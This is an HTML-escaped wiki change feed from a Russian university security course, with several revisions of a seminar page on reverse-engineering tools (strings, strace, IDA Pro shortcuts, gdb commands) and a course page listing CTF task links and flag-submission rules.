* https://course.secsem.ru/idafree83_linux.run&lt;br /&gt;
* https://course.secsem.ru/idafree83_windows.exe&lt;br /&gt;
* https://course.secsem.ru/idafree83_mac.app.zip&lt;br /&gt;
&lt;br /&gt;
=== Шорткаты ===&lt;br /&gt;
&amp;lt;center style=&amp;quot;font-size: 500%&amp;quot;&amp;gt;&lt;br /&gt;
{{клавиша|F5}}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
==== Режим дизассемблера ====&lt;br /&gt;
* {{клавиша|P}} — создать функцию, начиная с текущей позиции курсора&lt;br /&gt;
* {{клавиша|F5}} — декомпилировать функцию&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору (например, перейти к функции или массиву)&lt;br /&gt;
* {{клавиша|Esc}} — назад (противоположность {{клавиша|Enter}})&lt;br /&gt;
* {{клавиша|X}} — показать ссылки на то, что под курсором (на функцию, переменную, строку, etc.)&lt;br /&gt;
* {{клавиша|C}} — переопределить байты, начиная с курсора, как код.&lt;br /&gt;
* {{клавиша|D}} — переопределить байты, начиная с курсора, как данные (последовательные нажатия переключают размер переменной byte-word-dword(-qword))&lt;br /&gt;
* {{клавиша|A}} — переопределить байты, начиная с курсора, как строку&lt;br /&gt;
* {{клавиша|R}} — переопределить число в инструкции как строку (&amp;lt;code&amp;gt;mov rdx, 335F47414C465Fh&amp;lt;/code&amp;gt; -&amp;gt; &amp;lt;code&amp;gt;mov rdx, &#039;3_GALF_&#039;&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Режим декомпилятора (Hex-Rays) ====&lt;br /&gt;
* {{клавиша|N}} — переименовать&lt;br /&gt;
* {{клавиша|Y}} — поменять тип&lt;br /&gt;
** Может показаться, что с помощью {{клавиша|Y}} можно и переименовать, или с помощью {{клавиша|N}} задать тип, однако это не так&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору&lt;br /&gt;
* {{клавиша|Esc}} — назад &lt;br /&gt;
* {{клавиша|Tab}} — перейти к данному месту из декомпилированного в дизассемблированный код и обратно&lt;br /&gt;
&lt;br /&gt;
[https://www.hex-rays.com/products/decompiler/manual/interactive.shtml Полный список] на официальном сайте.&lt;br /&gt;
&lt;br /&gt;
== gdb ==&lt;br /&gt;
&lt;br /&gt;
С &#039;&#039;&#039;gdb&#039;&#039;&#039; можно познакомиться по любому туториалу в интернете.&lt;br /&gt;
&lt;br /&gt;
Однако в отладке приложений без исходников есть некоторая специфика, и тут могут быть особенно полезные такие команды:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;b * 0x400155&amp;lt;/code&amp;gt; - поставить брэйкпоинт на адрес.&lt;br /&gt;
* &amp;lt;code&amp;gt;p (char*)$rdi&amp;lt;/code&amp;gt; - напечатать как строку содержимое памяти, на которую указывает регистр &amp;lt;code&amp;gt;rdi&amp;lt;/code&amp;gt;. См. также [https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI статью про соглашения вызовов на Википедии].&lt;br /&gt;
* &amp;lt;code&amp;gt;help x&amp;lt;/code&amp;gt; - почитать справку по команде &amp;lt;code&amp;gt;x&amp;lt;/code&amp;gt;, которая очень полезна для изучения содержимого памяти.&lt;br /&gt;
* &amp;lt;code&amp;gt;x/10i $pc&amp;lt;/code&amp;gt; - посмотреть несколько инструкций вперед.&lt;br /&gt;
* &amp;lt;code&amp;gt;layout asm&amp;lt;/code&amp;gt; - переключиться в псевдографический режим с листингом ассемблерных команд.&lt;br /&gt;
&lt;br /&gt;
== Примеры с занятия ==&lt;br /&gt;
&lt;br /&gt;
Бинарник, который были рассмотрен на семинаре: [[Media:2023 reverse examples.zip]] (плюс сорцы).&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=793</id>
		<title>Бинарные уязвимости/Инструменты поиска бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=793"/>
		<updated>2023-10-31T19:27:57Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Шорткаты */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== strings ==&lt;br /&gt;
&lt;br /&gt;
Выводит константные строки, которые есть в бинарнике. Строки определяются эвристикой, поэтому часто бывают ложные срабатывания. IDA тоже умеет определять строки.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strings reverse_example_1&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
__gmon_start__&lt;br /&gt;
_Jv_RegisterClasses&lt;br /&gt;
_ITM_registerTMCloneTable&lt;br /&gt;
MD5_Final&lt;br /&gt;
MD5_Init&lt;br /&gt;
MD5_Update&lt;br /&gt;
libc.so.6&lt;br /&gt;
fopen&lt;br /&gt;
__stack_chk_fail&lt;br /&gt;
fgets&lt;br /&gt;
malloc&lt;br /&gt;
stderr&lt;br /&gt;
fwrite&lt;br /&gt;
__sprintf_chk&lt;br /&gt;
__libc_start_main&lt;br /&gt;
free&lt;br /&gt;
GLIBC_2.3.4&lt;br /&gt;
GLIBC_2.4&lt;br /&gt;
GLIBC_2.2.5&lt;br /&gt;
OPENSSL_1.0.0&lt;br /&gt;
D$(1&lt;br /&gt;
T$(dH3&lt;br /&gt;
AUATH&lt;br /&gt;
D$h1&lt;br /&gt;
|$hdH3&amp;lt;%(&lt;br /&gt;
x[]A\A]&lt;br /&gt;
AWAVA&lt;br /&gt;
AUATL&lt;br /&gt;
[]A\A]A^A_&lt;br /&gt;
%02X&lt;br /&gt;
./cd-key.txt&lt;br /&gt;
failed to open CD key file&lt;br /&gt;
failed to read CD key file&lt;br /&gt;
invalid cdkey&lt;br /&gt;
Good job!&lt;br /&gt;
;*3$&amp;quot;&lt;br /&gt;
.shstrtab&lt;br /&gt;
.interp&lt;br /&gt;
.note.ABI-tag&lt;br /&gt;
.gnu.hash&lt;br /&gt;
.dynsym&lt;br /&gt;
.dynstr&lt;br /&gt;
.gnu.version&lt;br /&gt;
.gnu.version_r&lt;br /&gt;
.rela.dyn&lt;br /&gt;
.rela.plt&lt;br /&gt;
.init&lt;br /&gt;
.plt.got&lt;br /&gt;
.text&lt;br /&gt;
.fini&lt;br /&gt;
.rodata&lt;br /&gt;
.eh_frame_hdr&lt;br /&gt;
.eh_frame&lt;br /&gt;
.init_array&lt;br /&gt;
.fini_array&lt;br /&gt;
.jcr&lt;br /&gt;
.dynamic&lt;br /&gt;
.got.plt&lt;br /&gt;
.data&lt;br /&gt;
.bss&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== strace ==&lt;br /&gt;
&lt;br /&gt;
Выводит трассу системных вызовов. Полезно, чтобы определить, какие файлы читает программа, и как вообще взаимодействует с внешним миром (в том числе сеть).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strace ./reverse_example_1&lt;br /&gt;
...&lt;br /&gt;
openat(AT_FDCWD, &amp;quot;./cd-key.txt&amp;quot;, O_RDONLY) = 3&lt;br /&gt;
fstat(3, {st_mode=S_IFREG|0644, st_size=24, ...}) = 0&lt;br /&gt;
read(3, &amp;quot;AAAAA-BBBBB-CCCCC-DDDDD\n&amp;quot;, 4096) = 24&lt;br /&gt;
write(2, &amp;quot;invalid cdkey\n&amp;quot;, 14)         = 14&lt;br /&gt;
exit_group(1)                           = ?&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IDA Pro ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный дизассемблер и декомпилятор.&lt;br /&gt;
&lt;br /&gt;
=== Шорткаты ===&lt;br /&gt;
&amp;lt;center style=&amp;quot;font-size: 500%&amp;quot;&amp;gt;&lt;br /&gt;
{{клавиша|F5}}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
==== Режим дизассемблера ====&lt;br /&gt;
* {{клавиша|P}} — создать функцию, начиная с текущей позиции курсора&lt;br /&gt;
* {{клавиша|F5}} — декомпилировать функцию&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору (например, перейти к функции или массиву)&lt;br /&gt;
* {{клавиша|Esc}} — назад (противоположность {{клавиша|Enter}})&lt;br /&gt;
* {{клавиша|X}} — показать ссылки на то, что под курсором (на функцию, переменную, строку, etc.)&lt;br /&gt;
* {{клавиша|C}} — переопределить байты, начиная с курсора, как код.&lt;br /&gt;
* {{клавиша|D}} — переопределить байты, начиная с курсора, как данные (последовательные нажатия переключают размер переменной byte-word-dword(-qword))&lt;br /&gt;
* {{клавиша|A}} — переопределить байты, начиная с курсора, как строку&lt;br /&gt;
* {{клавиша|R}} — переопределить число в инструкции как строку (&amp;lt;code&amp;gt;mov rdx, 335F47414C465Fh&amp;lt;/code&amp;gt; -&amp;gt; &amp;lt;code&amp;gt;mov rdx, &#039;3_GALF_&#039;&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Режим декомпилятора (Hex-Rays) ====&lt;br /&gt;
* {{клавиша|N}} — переименовать&lt;br /&gt;
* {{клавиша|Y}} — поменять тип&lt;br /&gt;
** Может показаться, что с помощью {{клавиша|Y}} можно и переименовать, или с помощью {{клавиша|N}} задать тип, однако это не так&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору&lt;br /&gt;
* {{клавиша|Esc}} — назад &lt;br /&gt;
* {{клавиша|Tab}} — перейти к данному месту из декомпилированного в дизассемблированный код и обратно&lt;br /&gt;
&lt;br /&gt;
[https://www.hex-rays.com/products/decompiler/manual/interactive.shtml Полный список] на официальном сайте.&lt;br /&gt;
&lt;br /&gt;
== gdb ==&lt;br /&gt;
&lt;br /&gt;
С &#039;&#039;&#039;gdb&#039;&#039;&#039; можно познакомиться по любому туториалу в интернете.&lt;br /&gt;
&lt;br /&gt;
Однако в отладке приложений без исходников есть некоторая специфика, и тут могут быть особенно полезные такие команды:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;b * 0x400155&amp;lt;/code&amp;gt; - поставить брэйкпоинт на адрес.&lt;br /&gt;
* &amp;lt;code&amp;gt;p (char*)$rdi&amp;lt;/code&amp;gt; - напечатать как строку содержимое памяти, на которую указывает регистр &amp;lt;code&amp;gt;rdi&amp;lt;/code&amp;gt;. См. также [https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI статью про соглашения вызовов на Википедии].&lt;br /&gt;
* &amp;lt;code&amp;gt;help x&amp;lt;/code&amp;gt; - почитать справку по команде &amp;lt;code&amp;gt;x&amp;lt;/code&amp;gt;, которая очень полезна для изучения содержимого памяти.&lt;br /&gt;
* &amp;lt;code&amp;gt;x/10i $pc&amp;lt;/code&amp;gt; - посмотреть несколько инструкций вперед.&lt;br /&gt;
* &amp;lt;code&amp;gt;layout asm&amp;lt;/code&amp;gt; - переключиться в псевдографический режим с листингом ассемблерных команд.&lt;br /&gt;
&lt;br /&gt;
== Примеры с занятия ==&lt;br /&gt;
&lt;br /&gt;
Бинарник, который были рассмотрен на семинаре: [[Media:2023 reverse examples.zip]] (плюс сорцы).&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=792</id>
		<title>Практикум на ЭВМ (2023)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=792"/>
		<updated>2023-10-31T19:26:12Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Материалы */ семинар по IDA и ко&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 706&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2023/2024 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main_&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [https://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;s&amp;gt;[[Практикум_на_ЭВМ_(2023)/Бонусное_задание|Бонусное задание]]&amp;lt;/s&amp;gt;&lt;br /&gt;
* &amp;lt;s&amp;gt;http://club.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 17.10.2023 23:43)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://bank.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://corporate.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://pwnitter.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* http://hard.tasks.prak.seclab.cs.msu.ru (deadline - 31.10.2023 14:00)&lt;br /&gt;
* http://jpg.tasks.prak.seclab.cs.msu.ru (deadline - 31.10.2023 14:00)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (11 сентября 2023) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (18 сентября 2023) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (25 сентября 2023) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (2 октября 2023) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (9 октября 2023) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (16 октября 2022) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (30 октября 2023) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=791</id>
		<title>Бинарные уязвимости/Инструменты поиска бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=791"/>
		<updated>2023-10-31T19:25:58Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* IDA */ dead link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== strings ==&lt;br /&gt;
&lt;br /&gt;
Выводит константные строки, которые есть в бинарнике. Строки определяются эвристикой, поэтому часто бывают ложные срабатывания. IDA тоже умеет определять строки.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strings reverse_example_1&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
__gmon_start__&lt;br /&gt;
_Jv_RegisterClasses&lt;br /&gt;
_ITM_registerTMCloneTable&lt;br /&gt;
MD5_Final&lt;br /&gt;
MD5_Init&lt;br /&gt;
MD5_Update&lt;br /&gt;
libc.so.6&lt;br /&gt;
fopen&lt;br /&gt;
__stack_chk_fail&lt;br /&gt;
fgets&lt;br /&gt;
malloc&lt;br /&gt;
stderr&lt;br /&gt;
fwrite&lt;br /&gt;
__sprintf_chk&lt;br /&gt;
__libc_start_main&lt;br /&gt;
free&lt;br /&gt;
GLIBC_2.3.4&lt;br /&gt;
GLIBC_2.4&lt;br /&gt;
GLIBC_2.2.5&lt;br /&gt;
OPENSSL_1.0.0&lt;br /&gt;
D$(1&lt;br /&gt;
T$(dH3&lt;br /&gt;
AUATH&lt;br /&gt;
D$h1&lt;br /&gt;
|$hdH3&amp;lt;%(&lt;br /&gt;
x[]A\A]&lt;br /&gt;
AWAVA&lt;br /&gt;
AUATL&lt;br /&gt;
[]A\A]A^A_&lt;br /&gt;
%02X&lt;br /&gt;
./cd-key.txt&lt;br /&gt;
failed to open CD key file&lt;br /&gt;
failed to read CD key file&lt;br /&gt;
invalid cdkey&lt;br /&gt;
Good job!&lt;br /&gt;
;*3$&amp;quot;&lt;br /&gt;
.shstrtab&lt;br /&gt;
.interp&lt;br /&gt;
.note.ABI-tag&lt;br /&gt;
.gnu.hash&lt;br /&gt;
.dynsym&lt;br /&gt;
.dynstr&lt;br /&gt;
.gnu.version&lt;br /&gt;
.gnu.version_r&lt;br /&gt;
.rela.dyn&lt;br /&gt;
.rela.plt&lt;br /&gt;
.init&lt;br /&gt;
.plt.got&lt;br /&gt;
.text&lt;br /&gt;
.fini&lt;br /&gt;
.rodata&lt;br /&gt;
.eh_frame_hdr&lt;br /&gt;
.eh_frame&lt;br /&gt;
.init_array&lt;br /&gt;
.fini_array&lt;br /&gt;
.jcr&lt;br /&gt;
.dynamic&lt;br /&gt;
.got.plt&lt;br /&gt;
.data&lt;br /&gt;
.bss&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== strace ==&lt;br /&gt;
&lt;br /&gt;
Выводит трассу системных вызовов. Полезно, чтобы определить, какие файлы читает программа, и как вообще взаимодействует с внешним миром (в том числе сеть).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strace ./reverse_example_1&lt;br /&gt;
...&lt;br /&gt;
openat(AT_FDCWD, &amp;quot;./cd-key.txt&amp;quot;, O_RDONLY) = 3&lt;br /&gt;
fstat(3, {st_mode=S_IFREG|0644, st_size=24, ...}) = 0&lt;br /&gt;
read(3, &amp;quot;AAAAA-BBBBB-CCCCC-DDDDD\n&amp;quot;, 4096) = 24&lt;br /&gt;
write(2, &amp;quot;invalid cdkey\n&amp;quot;, 14)         = 14&lt;br /&gt;
exit_group(1)                           = ?&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IDA Pro ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный дизассемблер и декомпилятор.&lt;br /&gt;
&lt;br /&gt;
=== Шорткаты ===&lt;br /&gt;
&amp;lt;center style=&amp;quot;font-size: 500%&amp;quot;&amp;gt;&lt;br /&gt;
{{клавиша|F5}}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
==== IDA ====&lt;br /&gt;
* {{клавиша|P}} — создать функцию, начиная с текущей позиции курсора&lt;br /&gt;
* {{клавиша|F5}} — декомпилировать функцию&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору (например, перейти к функции или массиву)&lt;br /&gt;
* {{клавиша|Esc}} — назад (противоположность {{клавиша|Enter}})&lt;br /&gt;
* {{клавиша|X}} — показать ссылки на то, что под курсором (на функцию, переменную, строку, etc.)&lt;br /&gt;
* {{клавиша|C}} — переопределить байты, начиная с курсора, как код.&lt;br /&gt;
* {{клавиша|D}} — переопределить байты, начиная с курсора, как данные (последовательные нажатия переключают размер переменной byte-word-dword(-qword))&lt;br /&gt;
* {{клавиша|A}} — переопределить байты, начиная с курсора, как строку&lt;br /&gt;
* {{клавиша|R}} — переопределить число в инструкции как строку (&amp;lt;code&amp;gt;mov rdx, 335F47414C465Fh&amp;lt;/code&amp;gt; -&amp;gt; &amp;lt;code&amp;gt;mov rdx, &#039;3_GALF_&#039;&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Hex-Rays ====&lt;br /&gt;
* {{клавиша|N}} — переименовать&lt;br /&gt;
* {{клавиша|Y}} — поменять тип&lt;br /&gt;
** Может показаться, что с помощью {{клавиша|Y}} можно и переименовать, или с помощью {{клавиша|N}} задать тип, однако это не так&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору&lt;br /&gt;
* {{клавиша|Esc}} — назад &lt;br /&gt;
* {{клавиша|Tab}} — перейти к данному месту из декомпилированного в дизассемблированный код и обратно&lt;br /&gt;
&lt;br /&gt;
[https://www.hex-rays.com/products/decompiler/manual/interactive.shtml Полный список] на официальном сайте.&lt;br /&gt;
&lt;br /&gt;
== gdb ==&lt;br /&gt;
&lt;br /&gt;
С &#039;&#039;&#039;gdb&#039;&#039;&#039; можно познакомиться по любому туториалу в интернете.&lt;br /&gt;
&lt;br /&gt;
Однако в отладке приложений без исходников есть некоторая специфика, и тут могут быть особенно полезные такие команды:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;b * 0x400155&amp;lt;/code&amp;gt; - поставить брэйкпоинт на адрес.&lt;br /&gt;
* &amp;lt;code&amp;gt;p (char*)$rdi&amp;lt;/code&amp;gt; - напечатать как строку содержимое памяти, на которую указывает регистр &amp;lt;code&amp;gt;rdi&amp;lt;/code&amp;gt;. См. также [https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI статью про соглашения вызовов на Википедии].&lt;br /&gt;
* &amp;lt;code&amp;gt;help x&amp;lt;/code&amp;gt; - почитать справку по команде &amp;lt;code&amp;gt;x&amp;lt;/code&amp;gt;, которая очень полезна для изучения содержимого памяти.&lt;br /&gt;
* &amp;lt;code&amp;gt;x/10i $pc&amp;lt;/code&amp;gt; - посмотреть несколько инструкций вперед.&lt;br /&gt;
* &amp;lt;code&amp;gt;layout asm&amp;lt;/code&amp;gt; - переключиться в псевдографический режим с листингом ассемблерных команд.&lt;br /&gt;
&lt;br /&gt;
== Примеры с занятия ==&lt;br /&gt;
&lt;br /&gt;
Бинарник, который были рассмотрен на семинаре: [[Media:2023 reverse examples.zip]] (плюс сорцы).&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=790</id>
		<title>Бинарные уязвимости/Инструменты поиска бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=790"/>
		<updated>2023-10-31T19:24:55Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Примеры с занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== strings ==&lt;br /&gt;
&lt;br /&gt;
Выводит константные строки, которые есть в бинарнике. Строки определяются эвристикой, поэтому часто бывают ложные срабатывания. IDA тоже умеет определять строки.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strings reverse_example_1&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
